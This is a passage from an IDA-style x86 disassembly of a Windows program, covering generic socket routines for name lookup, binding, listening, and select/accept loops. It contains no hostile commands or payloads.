dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 pop eax locret_4045B0: ; CODE XREF: sub_404552+2Ej leave retn sub_404552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045B2 proc near ; CODE XREF: sub_4143B0+191p ; sub_415F69+20Ap var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h mov [ebp+var_88], 80h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417210 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_4045E2 xor eax, eax jmp short locret_404610 ; --------------------------------------------------------------------------- loc_4045E2: ; CODE XREF: sub_4045B2+2Aj lea eax, [ebp+var_80] mov [ebp+var_84], eax push 0Ah push [ebp+arg_4] mov eax, [ebp+var_84] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 pop eax locret_404610: ; CODE XREF: sub_4045B2+2Ej leave retn sub_4045B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404612 proc near ; CODE XREF: sub_40D871+69Cp var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 40Ch lea eax, [ebp+var_408] push eax push 0 push 0 push [ebp+arg_0] call dword_41DE84 ; getaddrinfo test eax, eax jnz loc_4046B8 mov eax, [ebp+var_408] mov [ebp+var_40C], eax loc_404643: ; CODE XREF: sub_404612+98j cmp [ebp+var_40C], 0 jz short loc_4046AC push 2 push 0 push 0 push 401h lea eax, [ebp+var_404] push eax mov eax, [ebp+var_40C] push dword ptr [eax+10h] mov eax, [ebp+var_40C] push dword ptr [eax+18h] call dword_41DE88 ; getnameinfo test eax, eax jnz short loc_40469B mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 2 jnz short loc_40469B lea eax, [ebp+var_404] push eax push [ebp+arg_4] call sub_416B3A ; _mbscpy pop ecx pop ecx mov al, 1 jmp short locret_4046BA ; --------------------------------------------------------------------------- loc_40469B: ; CODE XREF: sub_404612+66j ; sub_404612+72j mov eax, [ebp+var_40C] mov eax, [eax+1Ch] mov [ebp+var_40C], eax jmp short loc_404643 ; --------------------------------------------------------------------------- loc_4046AC: ; CODE XREF: sub_404612+38j push [ebp+var_408] call dword_41DE8C ; freeaddrinfo loc_4046B8: ; CODE XREF: sub_404612+1Fj xor al, al locret_4046BA: ; CODE XREF: sub_404612+87j leave retn sub_404612 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4046BC proc near ; CODE XREF: sub_4020C2+124p ; sub_403DF3+36p ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3Ch xor eax, eax test eax, eax jz short loc_4046D1 mov [ebp+var_3C], 2 jmp short loc_4046D8 ; --------------------------------------------------------------------------- loc_4046D1: ; CODE XREF: sub_4046BC+Aj mov [ebp+var_3C], 1 loc_4046D8: ; CODE XREF: sub_4046BC+13j mov eax, [ebp+var_3C] mov [ebp+var_8], eax push 1008h call sub_416B46 ; malloc pop ecx mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jnz short loc_4046F9 xor eax, eax jmp locret_40486F ; --------------------------------------------------------------------------- loc_4046F9: ; CODE XREF: sub_4046BC+34j mov eax, [ebp+var_2C] and dword ptr [eax], 0 mov eax, [ebp+var_2C] and dword ptr [eax+804h], 0 push 20h push 0 lea eax, [ebp+var_28] push eax call sub_416B6A ; memset add esp, 0Ch call sub_40432E neg eax sbb eax, eax and al, 0FEh inc eax inc eax mov [ebp+var_24], eax mov eax, [ebp+var_8] mov [ebp+var_20], eax mov [ebp+var_28], 5 lea eax, [ebp+var_30] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] push 0 call dword_41DE84 ; getaddrinfo test eax, eax jz short loc_40475D push [ebp+var_2C] call sub_416B4C ; free pop ecx xor eax, eax jmp locret_40486F ; --------------------------------------------------------------------------- loc_40475D: ; CODE XREF: sub_4046BC+8Fj mov eax, [ebp+var_30] mov [ebp+var_4], eax jmp short loc_40476E ; --------------------------------------------------------------------------- loc_404765: ; CODE XREF: sub_4046BC+DDj ; sub_4046BC+F1j ... mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_40476E: ; CODE XREF: sub_4046BC+A7j cmp [ebp+var_4], 0 jz loc_40484E mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 ; socket mov [ebp+var_34], eax cmp [ebp+var_34], 0FFFFFFFFh jnz short loc_40479B jmp short loc_404765 ; --------------------------------------------------------------------------- loc_40479B: ; CODE XREF: sub_4046BC+DBj mov eax, [ebp+var_4] cmp dword ptr [eax+4], 2 jz short loc_4047AF mov eax, [ebp+var_4] cmp dword ptr [eax+4], 17h jz short loc_4047AF jmp short loc_404765 ; --------------------------------------------------------------------------- loc_4047AF: ; CODE XREF: sub_4046BC+E6j ; sub_4046BC+EFj mov eax, [ebp+arg_4] and eax, 2 test eax, eax jz short loc_4047D6 mov [ebp+var_38], 1 push 4 lea eax, [ebp+var_38] push eax push 4 push 0FFFFh push [ebp+var_34] call dword_417204 ; setsockopt loc_4047D6: ; CODE XREF: sub_4046BC+FBj mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_34] call dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4047FE push [ebp+var_34] call sub_4053B1 pop ecx jmp loc_404765 ; --------------------------------------------------------------------------- loc_4047FE: ; CODE XREF: sub_4046BC+132j cmp [ebp+var_8], 1 jnz short loc_404822 push 32h push [ebp+var_34] call dword_417268 ; listen cmp eax, 0FFFFFFFFh jnz short loc_404822 push [ebp+var_34] call sub_4053B1 pop ecx jmp loc_404765 ; --------------------------------------------------------------------------- loc_404822: ; CODE XREF: sub_4046BC+146j ; sub_4046BC+156j mov eax, [ebp+var_2C] mov eax, [eax] mov ecx, [ebp+var_2C] mov edx, [ebp+var_34] mov [ecx+eax*4+4], edx mov eax, [ebp+var_2C] mov eax, [eax] inc eax mov ecx, [ebp+var_2C] mov [ecx], eax mov eax, [ebp+var_2C] cmp dword ptr [eax], 200h jnz short loc_404849 jmp short loc_40484E ; --------------------------------------------------------------------------- loc_404849: ; CODE XREF: sub_4046BC+189j jmp loc_404765 ; --------------------------------------------------------------------------- loc_40484E: ; CODE XREF: sub_4046BC+B6j ; sub_4046BC+18Bj push [ebp+var_30] call dword_41DE8C ; freeaddrinfo mov eax, [ebp+var_2C] cmp dword ptr [eax], 0 jnz short loc_40486C push [ebp+var_2C] call sub_416B4C ; free pop ecx xor eax, eax jmp short locret_40486F ; --------------------------------------------------------------------------- loc_40486C: ; CODE XREF: sub_4046BC+1A1j mov eax, [ebp+var_2C] locret_40486F: ; CODE XREF: sub_4046BC+38j ; sub_4046BC+9Cj ... leave retn sub_4046BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404871 proc near ; CODE XREF: sub_411BBC+B0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_4] call sub_4046BC pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40488F xor eax, eax jmp short locret_4048ED ; --------------------------------------------------------------------------- loc_40488F: ; CODE XREF: sub_404871+18j mov eax, [ebp+var_4] mov eax, [eax] mov ecx, [ebp+arg_0] add eax, [ecx] cmp eax, 200h jbe short loc_4048AD push [ebp+var_4] call sub_404CBB pop ecx xor eax, eax jmp short locret_4048ED ; --------------------------------------------------------------------------- loc_4048AD: ; CODE XREF: sub_404871+2Dj mov eax, [ebp+var_4] mov eax, [eax] shl eax, 2 push eax mov eax, [ebp+var_4] add eax, 4 push eax mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [ebp+arg_0] lea eax, [ecx+eax*4+4] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [ebp+var_4] add eax, [ecx] mov ecx, [ebp+arg_0] mov [ecx], eax push [ebp+var_4] call sub_416B4C ; free pop ecx push 1 pop eax locret_4048ED: ; CODE XREF: sub_404871+1Cj ; sub_404871+3Aj leave retn sub_404871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4048EF proc near ; CODE XREF: sub_4020C2+22Ep ; sub_403DF3+8Dp ... var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = byte ptr -84h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0A8h push esi mov [ebp+var_4], 80h and [ebp+var_8C], 0 jmp short loc_404916 ; --------------------------------------------------------------------------- loc_404909: ; CODE XREF: sub_4048EF+133j ; sub_4048EF:loc_404A32j mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404916: ; CODE XREF: sub_4048EF+18j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404A37 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_416E30 ; __WSAFDIsSet test eax, eax jz loc_404A32 loc_40494A: ; CODE XREF: sub_4048EF+100j and [ebp+var_9C], 0 jmp short loc_404960 ; --------------------------------------------------------------------------- loc_404953: ; CODE XREF: sub_4048EF:loc_4049E6j mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax loc_404960: ; CODE XREF: sub_4048EF+62j mov eax, [ebp+arg_0] mov ecx, [ebp+var_9C] cmp ecx, [eax+804h] jnb short loc_4049EB mov eax, [ebp+var_9C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_4049E6 loc_404990: ; CODE XREF: sub_4048EF+E0j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax cmp [ebp+var_9C], eax jnb short loc_4049D1 mov eax, [ebp+var_9C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_9C] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+80Ch] mov [ecx+eax*4+808h], edx mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax jmp short loc_404990 ; --------------------------------------------------------------------------- loc_4049D1: ; CODE XREF: sub_4048EF+B1j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049E6: ; CODE XREF: sub_4048EF+9Fj jmp loc_404953 ; --------------------------------------------------------------------------- loc_4049EB: ; CODE XREF: sub_4048EF+80j ; sub_4048EF+F5j xor eax, eax test eax, eax jnz loc_40494A lea eax, [ebp+var_4] push eax lea eax, [ebp+var_84] push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call dword_4171FC ; accept mov [ebp+var_98], eax cmp [ebp+var_98], 0FFFFFFFFh jnz short loc_404A27 jmp loc_404909 ; --------------------------------------------------------------------------- loc_404A27: ; CODE XREF: sub_4048EF+131j mov eax, [ebp+var_98] jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404A32: ; CODE XREF: sub_4048EF+55j jmp loc_404909 ; --------------------------------------------------------------------------- loc_404A37: ; CODE XREF: sub_4048EF+32j mov eax, [ebp+arg_0] and dword ptr [eax+804h], 0 and [ebp+var_8C], 0 jmp short loc_404A57 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_4048EF+21Dj mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404A57: ; CODE XREF: sub_4048EF+159j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404B11 loc_404A68: ; CODE XREF: sub_4048EF+217j and [ebp+var_A0], 0 jmp short loc_404A7E ; --------------------------------------------------------------------------- loc_404A71: ; CODE XREF: sub_4048EF:loc_404AB0j mov eax, [ebp+var_A0] inc eax mov [ebp+var_A0], eax loc_404A7E: ; CODE XREF: sub_4048EF+180j mov eax, [ebp+arg_0] mov ecx, [ebp+var_A0] cmp ecx, [eax+804h] jnb short loc_404AB2 mov eax, [ebp+var_A0] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_404AB0 jmp short loc_404AB2 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_4048EF+1BDj jmp short loc_404A71 ; --------------------------------------------------------------------------- loc_404AB2: ; CODE XREF: sub_4048EF+19Ej ; sub_4048EF+1BFj mov eax, [ebp+arg_0] mov ecx, [ebp+var_A0] cmp ecx, [eax+804h] jnz short loc_404B02 mov eax, [ebp+arg_0] cmp dword ptr [eax+804h], 200h jnb short loc_404B02 mov eax, [ebp+var_A0] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+4] mov [ecx+eax*4+808h], edx mov eax, [ebp+arg_0] mov eax, [eax+804h] inc eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax loc_404B02: ; CODE XREF: sub_4048EF+1D2j ; sub_4048EF+1E1j xor eax, eax test eax, eax jnz loc_404A68 jmp loc_404A4A ; --------------------------------------------------------------------------- loc_404B11: ; CODE XREF: sub_4048EF+173j mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_94], eax mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx imul edx, 3E8h mov [ebp+var_90], edx lea eax, [ebp+var_94] push eax push 0 push 0 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_41722C ; select mov [ebp+var_88], eax cmp [ebp+var_88], 0 jnz short loc_404B71 or eax, 0FFFFFFFFh jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404B71: ; CODE XREF: sub_4048EF+278j cmp [ebp+var_88], 0FFFFFFFFh jnz short loc_404B81 xor eax, eax jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404B81: ; CODE XREF: sub_4048EF+289j and [ebp+var_8C], 0 jmp short loc_404B97 ; --------------------------------------------------------------------------- loc_404B8A: ; CODE XREF: sub_4048EF+3B4j ; sub_4048EF:loc_404CB0j mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404B97: ; CODE XREF: sub_4048EF+299j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404CB5 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_416E30 ; __WSAFDIsSet test eax, eax jz loc_404CB0 loc_404BCB: ; CODE XREF: sub_4048EF+381j and [ebp+var_A8], 0 jmp short loc_404BE1 ; --------------------------------------------------------------------------- loc_404BD4: ; CODE XREF: sub_4048EF:loc_404C67j mov eax, [ebp+var_A8] inc eax mov [ebp+var_A8], eax loc_404BE1: ; CODE XREF: sub_4048EF+2E3j mov eax, [ebp+arg_0] mov ecx, [ebp+var_A8] cmp ecx, [eax+804h] jnb short loc_404C6C mov eax, [ebp+var_A8] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_404C67 loc_404C11: ; CODE XREF: sub_4048EF+361j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax cmp [ebp+var_A8], eax jnb short loc_404C52 mov eax, [ebp+var_A8] mov ecx, [ebp+arg_0] mov edx, [ebp+var_A8] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+80Ch] mov [ecx+eax*4+808h], edx mov eax, [ebp+var_A8] inc eax mov [ebp+var_A8], eax jmp short loc_404C11 ; --------------------------------------------------------------------------- loc_404C52: ; CODE XREF: sub_4048EF+332j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax jmp short loc_404C6C ; --------------------------------------------------------------------------- loc_404C67: ; CODE XREF: sub_4048EF+320j jmp loc_404BD4 ; --------------------------------------------------------------------------- loc_404C6C: ; CODE XREF: sub_4048EF+301j ; sub_4048EF+376j xor eax, eax test eax, eax jnz loc_404BCB lea eax, [ebp+var_4] push eax lea eax, [ebp+var_84] push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call dword_4171FC ; accept mov [ebp+var_A4], eax cmp [ebp+var_A4], 0FFFFFFFFh jnz short loc_404CA8 jmp loc_404B8A ; --------------------------------------------------------------------------- loc_404CA8: ; CODE XREF: sub_4048EF+3B2j mov eax, [ebp+var_A4] jmp short loc_404CB8 ; --------------------------------------------------------------------------- loc_404CB0: ; CODE XREF: sub_4048EF+2D6j jmp loc_404B8A ; --------------------------------------------------------------------------- loc_404CB5: ; CODE XREF: sub_4048EF+2B3j or eax, 0FFFFFFFFh loc_404CB8: ; CODE XREF: sub_4048EF+13Ej ; sub_4048EF+27Dj ... pop esi leave retn sub_4048EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404CBB proc near ; CODE XREF: sub_4020C2+175p ; sub_4020C2+25Fp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404CCC ; --------------------------------------------------------------------------- loc_404CC5: ; CODE XREF: sub_404CBB+3Ej mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404CCC: ; CODE XREF: sub_404CBB+8j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax] jnb short loc_404CFB cmp dword_41DE38, 0 jz short loc_404CE9 mov eax, [ebp+arg_0] cmp dword ptr [eax], 64h jbe short loc_404CE9 jmp short loc_404CFB ; --------------------------------------------------------------------------- loc_404CE9: ; CODE XREF: sub_404CBB+22j ; sub_404CBB+2Aj mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_4053B1 pop ecx jmp short loc_404CC5 ; --------------------------------------------------------------------------- loc_404CFB: ; CODE XREF: sub_404CBB+19j ; sub_404CBB+2Cj mov eax, [ebp+arg_0] and dword ptr [eax+804h], 0 push [ebp+arg_0] call sub_416B4C ; free pop ecx leave retn sub_404CBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D10 proc near ; CODE XREF: sub_41349C+1B7p ; sub_4143B0+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 200h jbe short loc_404D21 xor eax, eax jmp short locret_404D4B ; --------------------------------------------------------------------------- loc_404D21: ; CODE XREF: sub_404D10+Bj push 1010h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_404D39 xor eax, eax jmp short locret_404D4B ; --------------------------------------------------------------------------- loc_404D39: ; CODE XREF: sub_404D10+23j mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_4] and dword ptr [eax+4], 0 mov eax, [ebp+var_4] locret_404D4B: ; CODE XREF: sub_404D10+Fj ; sub_404D10+27j leave retn sub_404D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D4D proc near ; CODE XREF: sub_41349C+417p ; sub_4143B0+109p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov eax, [eax+4] cmp eax, [ecx] jnz short loc_404D6A push [ebp+arg_0] call sub_4053B1 pop ecx xor eax, eax jmp short loc_404D99 ; --------------------------------------------------------------------------- loc_404D6A: ; CODE XREF: sub_404D4D+Ej mov eax, [ebp+arg_4] mov eax, [eax+4] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov [ecx+eax*4+0Ch], edx mov eax, [ebp+arg_4] mov eax, [eax+4] inc eax mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov eax, [eax+4] xor edx, edx cmp eax, [ecx] setnz dl mov eax, edx loc_404D99: ; CODE XREF: sub_404D4D+1Bj pop ebp retn sub_404D4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D9B proc near ; CODE XREF: sub_41349C+512p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404DAC ; --------------------------------------------------------------------------- loc_404DA5: ; CODE XREF: sub_404D9B:loc_404E18j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404DAC: ; CODE XREF: sub_404D9B+8j mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short locret_404E1A mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4+0Ch] cmp eax, [ebp+arg_0] jnz short loc_404E18 mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] cmp ecx, [eax+8] jb short loc_404DDE mov eax, [ebp+arg_4] mov eax, [eax+8] dec eax mov ecx, [ebp+arg_4] mov [ecx+8], eax loc_404DDE: ; CODE XREF: sub_404D9B+34j mov eax, [ebp+arg_4] mov eax, [eax+4] sub eax, [ebp+var_4] shl eax, 2 push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4+10h] push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4+0Ch] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_4] mov eax, [eax+4] dec eax mov ecx, [ebp+arg_4] mov [ecx+4], eax jmp short locret_404E1A ; --------------------------------------------------------------------------- loc_404E18: ; CODE XREF: sub_404D9B+29j jmp short loc_404DA5 ; --------------------------------------------------------------------------- locret_404E1A: ; CODE XREF: sub_404D9B+1Aj ; sub_404D9B+7Bj leave retn sub_404D9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E1C proc near ; CODE XREF: sub_41349C+45Fp ; sub_4143B0+14Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push esi mov eax, [ebp+arg_0] and dword ptr [eax+8], 0 mov eax, [ebp+arg_0] and dword ptr [eax+80Ch], 0 and [ebp+var_8], 0 jmp short loc_404E41 ; --------------------------------------------------------------------------- loc_404E3A: ; CODE XREF: sub_404E1C+BDj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_404E41: ; CODE XREF: sub_404E1C+1Cj mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+4] jnb loc_404EDE loc_404E50: ; CODE XREF: sub_404E1C+B7j and [ebp+var_14], 0 jmp short loc_404E5D ; --------------------------------------------------------------------------- loc_404E56: ; CODE XREF: sub_404E1C:loc_404E86j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_404E5D: ; CODE XREF: sub_404E1C+38j mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+80Ch] jnb short loc_404E88 mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+810h] cmp eax, [esi+edx*4+0Ch] jnz short loc_404E86 jmp short loc_404E88 ; --------------------------------------------------------------------------- loc_404E86: ; CODE XREF: sub_404E1C+66j jmp short loc_404E56 ; --------------------------------------------------------------------------- loc_404E88: ; CODE XREF: sub_404E1C+4Dj ; sub_404E1C+68j mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+80Ch] jnz short loc_404ECF mov eax, [ebp+arg_0] cmp dword ptr [eax+80Ch], 200h jnb short loc_404ECF mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+0Ch] mov [ecx+eax*4+810h], edx mov eax, [ebp+arg_0] mov eax, [eax+80Ch] inc eax mov ecx, [ebp+arg_0] mov [ecx+80Ch], eax loc_404ECF: ; CODE XREF: sub_404E1C+78j ; sub_404E1C+87j xor eax, eax test eax, eax jnz loc_404E50 jmp loc_404E3A ; --------------------------------------------------------------------------- loc_404EDE: ; CODE XREF: sub_404E1C+2Ej and [ebp+var_10], 0 mov [ebp+var_C], 3E8h lea eax, [ebp+var_10] push eax push 0 mov eax, [ebp+arg_0] add eax, 80Ch push eax push 0 push 0 call dword_41722C ; select mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_404F1A cmp [ebp+var_4], 0FFFFFFFFh jz short loc_404F1A mov [ebp+var_18], 1 jmp short loc_404F1E ; --------------------------------------------------------------------------- loc_404F1A: ; CODE XREF: sub_404E1C+EDj ; sub_404E1C+F3j and [ebp+var_18], 0 loc_404F1E: ; CODE XREF: sub_404E1C+FCj mov eax, [ebp+var_18] pop esi leave retn sub_404E1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F24 proc near ; CODE XREF: sub_41349C+470p ; sub_4143B0+16Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_4], eax jmp short loc_404F3A ; --------------------------------------------------------------------------- loc_404F33: ; CODE XREF: sub_404F24:loc_404F77j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F3A: ; CODE XREF: sub_404F24+Dj mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short loc_404F79 mov eax, [ebp+arg_0] add eax, 80Ch push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+0Ch] call sub_416E30 ; __WSAFDIsSet test eax, eax jz short loc_404F77 mov eax, [ebp+var_4] inc eax mov ecx, [ebp+arg_0] mov [ecx+8], eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov eax, [ecx+eax*4+0Ch] jmp short locret_404F7B ; --------------------------------------------------------------------------- loc_404F77: ; CODE XREF: sub_404F24+3Bj jmp short loc_404F33 ; --------------------------------------------------------------------------- loc_404F79: ; CODE XREF: sub_404F24+1Fj xor eax, eax locret_404F7B: ; CODE XREF: sub_404F24+51j leave retn sub_404F24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F7D proc near ; CODE XREF: sub_404FD0+6p ; sub_41349C+59Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404F8E ; --------------------------------------------------------------------------- loc_404F87: ; CODE XREF: sub_404F7D+37j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F8E: ; CODE XREF: sub_404F7D+8j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short loc_404FB6 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+0Ch] call sub_4053B1 pop ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and dword ptr [ecx+eax*4+0Ch], 0 jmp short loc_404F87 ; --------------------------------------------------------------------------- loc_404FB6: ; CODE XREF: sub_404F7D+1Aj mov eax, [ebp+arg_0] and dword ptr [eax+4], 0 mov eax, [ebp+arg_0] and dword ptr [eax+8], 0 mov eax, [ebp+arg_0] and dword ptr [eax+80Ch], 0 leave retn sub_404F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FD0 proc near ; CODE XREF: sub_41349C+5FBp ; sub_4143B0+238p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_404F7D pop ecx push [ebp+arg_0] call sub_416B4C ; free pop ecx pop ebp retn sub_404FD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FE7 proc near ; CODE XREF: sub_412BC9+11p ; sub_41349C+40Ep ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch push 20h push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_8] and eax, 2 test eax, eax jz short loc_405010 mov [ebp+var_20], 17h jmp 